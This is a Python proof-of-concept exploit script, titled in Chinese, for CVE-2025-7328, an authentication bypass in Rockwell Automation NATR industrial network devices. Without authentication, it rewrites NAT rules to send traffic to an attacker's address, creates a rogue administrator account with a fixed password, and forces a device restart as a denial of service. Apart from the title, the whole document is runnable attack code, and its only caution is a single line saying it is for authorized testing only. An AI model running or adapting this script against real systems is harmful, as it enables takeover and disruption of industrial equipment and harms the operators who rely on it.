CVE-2025-7328 Rockwell Automation NATR设备认证绕过漏洞

# CVE-2025-7328 - Rockwell Automation NATR Authentication Bypass PoC # This PoC demonstrates the missing authentication check vulnerability # on critical management functions of affected NATR devices. import requests import json TARGET_HOST = "192.168.1.1" # Replace with target NATR device IP TARGET_PORT = 443 BASE_URL = f"https://{TARGET_HOST}:{TARGET_PORT}" # Step 1: Exploit missing authentication on NAT rule modification def exploit_nat_rule_modification(): """ Modify NAT rules without authentication due to missing auth checks. This can redirect device traffic to attacker-controlled endpoints. """ endpoint = f"{BASE_URL}/api/v1/nat/rules" # Malicious NAT rule payload - redirects traffic to attacker's endpoint payload = { "rule_id": 1, "source_ip": "0.0.0.0/0", "destination_ip": "10.0.0.0/8", "translated_ip": "attacker.controlled.ip", # Attacker's IP "action": "translate", "enabled": True } try: response = requests.put( endpoint, json=payload, verify=False, timeout=10 ) print(f"[*] NAT Rule Modification Response: {response.status_code}") if response.status_code in [200, 201, 204]: print("[+] SUCCESS: NAT rule modified without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False # Step 2: Exploit admin account takeover def exploit_admin_takeover(): """ Create new admin account without authentication. Allows full control over device configuration. """ endpoint = f"{BASE_URL}/api/v1/users" payload = { "username": "newadmin", "password": "P@ssw0rd123!", "role": "administrator", "enabled": True } try: response = requests.post( endpoint, json=payload, verify=False, timeout=10 ) print(f"[*] Admin Account Creation Response: {response.status_code}") if response.status_code in [200, 201]: print("[+] SUCCESS: Admin account created without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False # Step 3: Trigger denial of service def exploit_dos(): """ Trigger device reset or service disruption without authentication. Devices will no longer be able to communicate through NATR. """ endpoint = f"{BASE_URL}/api/v1/system/restart" try: response = requests.post( endpoint, verify=False, timeout=10 ) print(f"[*] DoS Trigger Response: {response.status_code}") if response.status_code in [200, 202]: print("[+] SUCCESS: Device restart triggered without authentication!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-7328 - NATR Authentication Bypass PoC") print("WARNING: For authorized testing only!") print("=" * 60) # Execute exploit chain exploit_nat_rule_modification() exploit_admin_takeover() exploit_dos()